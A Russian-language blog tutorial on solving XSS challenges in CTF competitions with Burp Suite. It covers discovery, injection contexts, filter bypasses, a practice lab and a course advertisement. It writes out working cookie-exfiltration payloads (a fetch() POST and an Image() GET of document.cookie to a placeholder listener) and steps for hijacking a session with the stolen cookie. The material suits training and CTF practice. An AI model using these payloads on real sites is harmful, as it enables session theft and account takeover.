Главная / Блог / XSS в CTF: от ручного поиска до кражи cookie с Burp Suite и простыми пейлоадами

14 мин.00

XSS в CTF: от ручного поиска до кражи cookie с Burp Suite и простыми пейлоадами

XSS в CTF: от ручного поиска до кражи cookie с Burp Suite и простыми пейлоадами

На CTF прошлой весной задание на 300 очков свелось к форме комментариев: бот-администратор просматривал каждый новый пост, флаг лежал в его session cookie. Типичный stored XSS — но фильтр вырезал <script>, а <img onerror> отбрасывался кастомным правилом. Три итерации пейлоада, обход через <svg/onload>, один fetch() на внешний listener — session cookie админа в логах за 40 минут. Из них 30 ушло на подбор пейлоада и ровно ноль — на понимание, что делать с украденной cookie.

Именно этот разрыв между «знаю что такое XSS» и «решаю задание за полчаса» мы здесь и закроем. Полная цепочка: от поиска уязвимости до захвата сессии, с рабочими пейлоадами и конкретным workflow в Burp Suite.

Три типа межсайтового скриптинга в CTF web заданиях

Межсайтовый скриптинг в CTF-заданиях делится на три типа, и каждый требует принципиально разного подхода к эксплуатации. Прежде чем лезть в пейлоады — разберись, с чем имеешь дело. Подробнее — в нашем обзоре пентест веб-приложений.

Тип Где хранится пейлоад Как жертва его триггерит Сложность эксплуатации Частота в CTF
Reflected XSS В URL (GET/POST-параметр) Переходит по подготовленной ссылке Низкая Часто
Stored XSS На сервере (БД, логи, файлы) Открывает страницу с сохранённым пейлоадом Средняя Очень часто
DOM-based XSS Нигде — обрабатывается клиентским JS Переходит по ссылке с hash-фрагментом Высокая Реже, но растёт

Reflected XSS — JavaScript инъекция через URL

Reflected XSS — простейший вариант cross-site scripting. Пейлоад передаётся через параметр URL, сервер отражает его в ответе без санитизации, браузер исполняет JavaScript. В CTF это выглядит так: страница поиска, параметр ?search= выводится как есть. Подставляешь <script>alert(1)</script> — видишь popup — reflected XSS подтверждён.

По данным ctf101.org, reflected XSS «требует, чтобы жертва перешла по подготовленной ссылке с ресурса, контролируемого атакующим». В CTF это решается ботом, которому отправляется URL. Chrome удалил встроенный XSS Auditor ещё в 2019 году (начиная с Chrome 78), и сейчас этот механизм отсутствует — роль митигации reflected XSS на клиенте частично взяла на себя CSP.

Где встречается: CTF-задания начального уровня, учебные платформы (DVWA, bWAPP). В реальном web пентесте reflected XSS через GET-параметры попадается всё реже — шаблонизаторы экранируют автоматически.

Stored XSS — пейлоад ждёт жертву

Stored XSS — самый частый тип в CTF и традиционно самый опасный подтип XSS: никакой социальной инженерии для доставки не нужно. XSS отнесён OWASP к категории A03:2021 — Injection. Пейлоад сохраняется на сервере — в комментариях блога, профиле пользователя, сообщениях чата, логах. Бот-администратор открывает страницу — JavaScript исполняется в контексте его сессии.

Классический CTF-сценарий из лаборатории PortSwigger Web Security Academy: блог с комментариями, симулированная жертва просматривает все комментарии после публикации. Вставляешь XSS пейлоад в комментарий — жертва заходит — cookie улетает на listener.

Менее очевидный сценарий: stored XSS через HTTP-заголовок User-Agent. Приложение логирует заголовки и выводит их в админ-панели. Отправляешь запрос с пейлоадом в User-Agent — администратор открывает логи — пейлоад срабатывает. На CTF-площадках такие задания попадаются регулярно, и многие на них спотыкаются — не догадываются проверить заголовки.

Где встречается: задания среднего и продвинутого уровня. PortSwigger Web Security Academy, root-me.org, HackTheBox.

DOM-based XSS — когда сервер ни при чём

DOM-based XSS стоит особняком. Сервер может корректно экранировать весь вывод, но клиентский JavaScript берёт данные из URL и вставляет их в DOM без санитизации. Как пишет ctf101.org, «сервер не виноват — проблема в клиентских скриптах». Серверные логи не покажут ничего подозрительного — вот что делает DOM-based XSS самой скрытной разновидностью.

Типичный паттерн: страница содержит JS-код, который читает location.hash или document.URL и вставляет данные через innerHTML или document.write(). Конструкция page.html#<img src=x onerror=alert(1)> выполнит код без единого «опасного» запроса к серверу.

Когда техника НЕ работает: если приложение использует textContent вместо innerHTML; если CSP запрещает inline-скрипты через script-src без unsafe-inline; если клиентский код обрабатывает ввод безопасными DOM API (createElement + textContent).

XSS в цепочке атаки: от инъекции до захвата сессии

XSS — не самоцель, а звено в kill chain. Если маппить на MITRE ATT&CK (с оговоркой, что модель описывает компрометацию хоста/сети, а строгого канонического маппинга XSS внутри одного веб-приложения нет), эксплуатация XSS уязвимости в CTF проходит через четыре этапа:

  1. Initial Access — жертва переходит по подготовленной ссылке (T1204.001, Malicious Link) или открывает страницу с stored-пейлоадом (T1190, Exploit Public-Facing Application — условная аналогия). В CTF роль жертвы выполняет бот.
  2. Execution — браузер жертвы исполняет внедрённый JavaScript (T1059.007). Если alert(1) сработал — execution подтверждён.
  3. Credential Access — скрипт читает document.cookie и отправляет данные на внешний сервер (T1539, Steal Web Session Cookie). Здесь alert() превращается в боевой пейлоад.
  4. Использование украденных данных — атакующий подставляет cookie в свой браузер и получает доступ к сессии жертвы. Формально T1185 (Browser Session Hijacking) относится к тактике Collection, а подстановка cookie ближе к T1550 (Use Alternate Authentication Material) — но для CTF эти формальности не критичны. Флаг — в руках.

В CTF цепочка сжимается до минут. В реальном web пентесте добавляются слои защиты: Content Security Policy, HttpOnly cookie, SameSite-атрибуты, WAF. Но скелет атаки тот же.

Поиск XSS вручную: пошаговая методика для CTF

Разведка точек входа

Первый шаг — найти все параметры, которые приложение принимает и отражает на странице. Не только очевидные поля формы — в CTF-заданиях XSS прячется в неожиданных местах:

  • URL-путь — страницы 404, которые выводят запрошенный путь. Запроси /nonexistent<test> и проверь, отобразится ли <test> в теле ответа.
  • HTTP-заголовки — User-Agent, Referer, X-Forwarded-For. Stored XSS через User-Agent в логах — классика CTF. Приложение записывает заголовок в БД, администратор просматривает логи — пейлоад срабатывает.
  • Cookie — значение cookie может отражаться на странице (language-cookie, theme-cookie).
  • POST-тело — формы регистрации (имя, фамилия), комментарии, поля профиля. По данным writeup'а задания с root-me.org, поля «имя» и «фамилия» при регистрации не экранировались, хотя основное текстовое поле было защищено.

Методика: вставляй уникальный маркер (например, xss7test) в каждый параметр по очереди, затем ищи его в исходном коде ответа через Ctrl+U → Ctrl+F в браузере или через Search в Response Burp Suite. Маркер отображается — это потенциальная точка инъекции. Записывай все найденные точки и двигайся дальше.

Определение контекста инъекции и тестирование фильтров

Контекст определяет, какой пейлоад сработает. Подставь строку '"><test> в параметр и изучи, как она отобразилась в HTML-коде ответа.

Контекст HTML-тела — маркер между тегами: <div>ВАШВВОД</div>. Работают стандартные пейлоады: <script>alert(1)</script>, <img src=x onerror=alert(1)>.

Контекст атрибута — маркер внутри атрибута тега: <input value="ВАШВВОД">. Нужно сначала закрыть кавычку и атрибут: " onmouseover="alert(1) — или закрыть тег полностью: "><script>alert(1)</script>.

Контекст JavaScript — маркер внутри <script>: var x = 'ВАШВВОД';. Закрываешь строку и дописываешь код: '; alert(1); //. Ошибка в синтаксисе JS убьёт весь блок скрипта — проверяй в DevTools Console.

Контекст URL/href — маркер в href или src: <a href="ВАШВВОД">. Может сработать протокол javascript:alert(1).

После определения контекста — тестируй фильтры. Подставь строку '":;<>/\[]<script><h1> и сравни ввод с выводом. Что исчезло или закодировалось — это карта фильтрации, от которой строится обход.

Burp Suite для XSS: от перехвата до фьюзинга параметров

Требования к окружению: - ОС: Windows 10+, macOS 10.14+, Linux (любой дистрибутив с GUI) - RAM: 4 ГБ минимум, 8 ГБ рекомендуется - Burp Suite Community Edition (бесплатная) — Repeater и базовый Intruder. Professional — для Collaborator и полноценного сканера - Браузер с настроенным прокси на 127.0.0.1:8080 (FoxyProxy для быстрого переключения)

Repeater — ручная проверка XSS пейлоадов

Repeater — основной инструмент для XSS в CTF. Перехватываешь запрос через Proxy, кидаешь в Repeater (Ctrl+R), модифицируешь параметры и отправляешь повторно, наблюдая за ответом.

Рабочий процесс: перехвати запрос с формой (комментарий, поиск), найди параметр, который отражается в ответе. В Repeater подставляй пейлоады один за другим. Во вкладке Response ищи свой пейлоад через поиск — смотри, что с ним произошло: закодирован, обрезан, обёрнут. Вкладка Render покажет визуальный результат — popup или изменённый DOM подтвердят работу пейлоада. Это быстрее, чем прыгать между браузером и исходным кодом.

Конкретный приём: отправь <b>test</b> и проверь, отрендерился ли текст жирным. Если да — HTML-теги не экранируются, и ты в одном шаге от рабочего XSS пейлоада.

Intruder — массовый фьюзинг XSS пейлоадов

Когда ручной перебор затягивается, Intruder автоматизирует подстановку. Кидаешь запрос из Repeater в Intruder (Ctrl+I), выделяешь параметр как позицию для подстановки (кнопка Add §), загружаешь список XSS пейлоадов.

Где брать списки: PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet) — сотни пейлоадов, разбитых по тегу, событию и контексту. В SecLists (github.com/danielmiessler/SecLists) — директория Fuzzing/XSS с файлами под разные ситуации.

В Community Edition Intruder работает с throttling (одна попытка в секунду), но для CTF хватает — rate-limiting в заданиях почти не встречается. Отсортируй результаты по длине ответа (Length) — аномальная длина (больше или меньше остальных) указывает на успешную инъекцию или на иной ответ фильтра.

Ограничение: Intruder не заменяет ручной анализ контекста. Слепой фьюзинг без понимания, куда попадает пейлоад, — пустая трата времени. Сначала определяешь контекст в Repeater, потом фьюзишь конкретные пейлоады для этого контекста в Intruder.

Рабочий XSS найден — пора превращать alert(1) в перехват session cookie. В CTF это ключевой этап: бот-администратор с флагом в cookie заходит на страницу, и нужно вытащить его данные.

Прежде чем отправлять боевой пейлоад, подготовь сервер-приёмник. Три варианта по возрастанию сложности:

webhook.site — бесплатный сервис, генерирует уникальный URL и показывает все входящие запросы в реальном времени. Ноль настройки. Открываешь сайт, копируешь URL, используешь как endpoint. Для большинства CTF хватает за глаза.

Burp Collaborator (Burp Professional) — открываешь вкладку Collaborator, копируешь уникальный поддомен. Все HTTP/DNS-запросы логируются. По документации PortSwigger, это рекомендуемый способ для их лабораторий.

Свой HTTP-сервер — минимальный listener запускается одной командой python3 -m http.server 8888 на VPS с белым IP. Все GET-запросы с cookie в URL будут видны в терминале. Для CTF GET через параметр — более чем достаточно.

Пейлоад должен прочитать document.cookie и отправить значение на listener. Два подхода — оба подтверждены как рабочие в лабораториях PortSwigger.

Через fetch() — POST-запрос. Рекомендуемый подход из документации PortSwigger Web Security Academy:

<script>
fetch('https://YOUR-LISTENER-URL', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
});
</script>

Этот пейлоад вставляется в комментарий, профиль или любое stored-поле. Параметр mode: 'no-cors' подавляет CORS-ошибку в консоли при попытке прочитать ответ (что для эксфильтрации не требуется) и явно указывает браузеру не выполнять CORS-проверку ответа. Сам POST-запрос с телом text/plain отправляется независимо от этого параметра — он относится к simple requests и не триггерит preflight. По данным walkthrough от CyberSec Cafe, после вставки пейлоада в комментарий блога HTTP-взаимодействие с cookie в теле POST-запроса появляется в Collaborator практически мгновенно.

Через Image() — GET-запрос. Альтернативный подход, описанный на pentest-tools.com. Создаётся объект Image, атрибуту src присваивается URL listener с cookie в GET-параметре:

<script>
new Image().src="https://LISTENER/steal?c="+encodeURIComponent(document.cookie); // encodeURIComponent() обязателен: символы = и ; в cookie исказят GET-параметр. Image src на http:// с https-страницы — passive mixed content: Chrome/Firefox обычно НЕ блокируют такие запросы (в отличие от fetch/XHR — active mixed content), но HTTPS-listener рекомендуется для надёжности
</script>

Браузер делает GET-запрос для «загрузки картинки», и cookie оказывается в URL в логах сервера. Вариант компактнее и работает даже в старых браузерах, где fetch() недоступен. На практике я чаще использую именно его — меньше символов, проще вставить в ограниченное поле.

Когда кража cookie НЕ сработает: - Флаг HttpOnly на cookie — document.cookie не вернёт защищённую cookie. В CTF HttpOnly обычно отключён, но в реальном пентесте это стандартная защита (OWASP рекомендует устанавливать для session cookie) - CSP с script-src 'self' или script-src 'nonce-...' — браузер заблокирует inline-скрипт. В продвинутых CTF CSP может быть частью задачи - Атрибут SameSite=Strict — cookie не отправится при cross-origin навигации - Сетевая изоляция — если CTF-платформа не пускает исходящие запросы, данные не дойдут до listener. Тут приходится искать альтернативные каналы эксфильтрации (DNS, или CSRF для «записи» cookie в доступное место)

Подмена сессии и получение флага

Получив cookie из логов listener, открывай целевое приложение, переходи в DevTools → Application → Cookies и заменяй значение session cookie на украденное. Обнови страницу — ты в сессии администратора.

В Burp Suite это делается через Proxy: перехвати любой запрос к приложению, замени значение заголовка Cookie на украденный токен, отправь. По документации PortSwigger, для подтверждения захвата достаточно запросить /my-account с подставленной cookie — откроется страница аккаунта жертвы. Флаг обычно лежит на этой странице или в скрытом поле профиля.

Обход фильтров: рабочие техники для XSS пейлоадов

Фильтрация — это то, что превращает задание на 100 очков в задание на 500. Систематизированные техники обхода, организованные по типу фильтра:

Фильтр удаляет <script> (однократная замена) — пейлоад <scr<script>ipt>alert(1)</scr</script>ipt> после удаления внутреннего тега оставляет рабочий <script>alert(1)</script>. Работает только если замена не рекурсивная. Такие наивные regex-фильтры встречаются почти исключительно в учебных CTF начального уровня — но встречаются.

Фильтр удаляет все известные теги (blacklist) — бери менее популярные теги: <svg/onload=alert(1)>, <details open ontoggle=alert(1)>, <body onload=alert(1)>, <marquee onstart=alert(1)>. PortSwigger XSS cheat sheet содержит полный реестр тегов с указанием поддержки по браузерам. Я обычно начинаю с <svg/onload> — он проходит чаще всего.

Фильтр кодирует угловые скобки — прямая инъекция тегов невозможна. Работай с имеющимся контекстом: - В атрибуте: " onfocus="alert(1)" autofocus=" — закрываешь кавычку, добавляешь event handler, автофокус триггерит событие без действий пользователя - В JS-блоке: '; alert(1); // — закрываешь строку, дописываешь код, комментируешь остаток - В href: javascript:alert(1) — протокол JavaScript не требует угловых скобок

htmlspecialchars() с ENT_QUOTES — PHP-функция кодирует <, >, ", ', &. При корректном применении обход средствами HTML-инъекции практически невозможен. В CTF это обычно сигнал: уязвимость в другом месте — ищи DOM-based XSS или инъекцию через необработанный канал (заголовки, другие поля).

Case-мутация — если фильтр проверяет <script> с учётом регистра (case-sensitive), попробуй <ScRiPt>alert(1)</sCrIpT>. HTML-парсеры браузеров case-insensitive, а кастомные серверные фильтры часто этим грешат.

Двойное URL-кодирование%253Cscript%253E проходит, если сервер декодирует URL дважды (один раз на reverse proxy, второй в приложении).

Кодирование через HTML-entities&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E; или decimal-варианты. Работает, когда фильтр проверяет сырой ввод, а декодирование происходит позже на этапе рендеринга.

Ограничение всех техник: каждый обход — эксплуатация конкретной реализации фильтра. Универсального bypass не существует. В CTF фильтры кастомные и предсказуемые. В реальном web пентесте WAF-решения (Cloudflare, ModSecurity с OWASP CRS) блокируют большинство этих конструкций из коробки, и обход требует значительно более глубокого анализа правил и поведения конкретного WAF.

Минилаб для отработки XSS в CTF

Требования к окружению: - ОС: любая с Docker (Windows 10+, macOS, Linux) — для DVWA - RAM: 2 ГБ минимум (Docker + DVWA) - Для PortSwigger Labs: только браузер, без локальной установки - Burp Suite Community Edition + браузер с настроенным прокси

Сценарий 1: DVWA — reflected XSS с повышением сложности. Запускаешь DVWA командой docker run -d -p 81:80 vulnerables/web-dvwa (флаг -d запускает контейнер в фоне; если использовать --rm, контейнер и БД удалятся при остановке). Образ vulnerables/web-dvwa включает встроенный Apache, PHP и MySQL в одном контейнере и работает standalone — для других DVWA-образов может понадобиться отдельный контейнер БД через docker-compose. Логин admin/password, кнопка Create/Reset Database. Security Level: Low → страница /vulnerabilities/xss_r/, параметр name отражается без фильтрации. Подставляй пейлоады через Repeater. Затем Medium — фильтр вырезает <script>, нужен обход через альтернативные теги. High — более агрессивная фильтрация, нужен анализ конкретной реализации.

Сценарий 2: PortSwigger Lab — stored XSS и кража cookie. Бесплатная лаборатория «Exploiting cross-site scripting to steal cookies». Stored XSS в комментариях блога с ботом-жертвой. Полная цепочка от поиска XSS до session hijacking. Требуется Burp Professional для Collaborator или webhook.site как альтернатива.

Сценарий 3: Server-side XSS через PDF-генератор. На root-me.org есть задание «XSS - Server Side» (описано в walkthrough internet-lab.ru): XSS выполняется не в браузере пользователя, а в серверном движке генерации PDF (wkhtmltopdf или аналоги). Пейлоад вставляется через поле регистрации (имя пользователя), сервер генерирует PDF с исполнением HTML. Через тег <iframe src=file:///flag.txt> содержимое файла встраивается в генерируемый PDF — атакующий скачивает готовый документ и видит флаг прямо в нём, без отдельного канала эксфильтрации. Нестандартный сценарий, который расширяет понимание XSS за рамки классического session hijacking.

Для каждого сценария формула одна: разведка точек входа → определение контекста → подбор пейлоада → эксплуатация → получение флага. Разница — в фильтрах и способе доставки.

Большинство CTF-игроков застревают на этапе «знаю что такое XSS, но не могу решить задание». Причина почти всегда одна: пейлоады заучиваются без привязки к контексту. <script>alert(1)</script> — не универсальная XSS-атака, а конструкция для одного конкретного случая: HTML body, без фильтрации, без CSP. В атрибуте она бесполезна. В JavaScript-блоке — бессмысленна. При htmlspecialchars — мертва.

Команды, которые стабильно закрывают XSS-задания на соревнованиях, работают по алгоритму: маркер → контекст → фильтры → пейлоад. Никогда наоборот. Занудно — но экономит часы, когда каждая минута стоит очков.

Отдельная тема — переход от CTF-заданий к реальному web пентесту. На соревнованиях фильтры кастомные и обходятся за 15 минут анализа. На проекте между тобой и session hijacking стоят WAF с регулярно обновляемыми правилами, CSP с nonce, HttpOnly и SameSite на каждой cookie, и клиент, который спросит «а какой бизнес-импакт от вашего alert?». Этот зазор — не теория, а конкретная практика обхода защит в конкретных продуктах. Если интересно пройти дистанцию от XSS-основ до полноценной эксплуатации веб-уязвимостей на уровне OSCP — на WAPT эту цепочку разбирают в нескольких модулях с лабами под каждый вектор.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...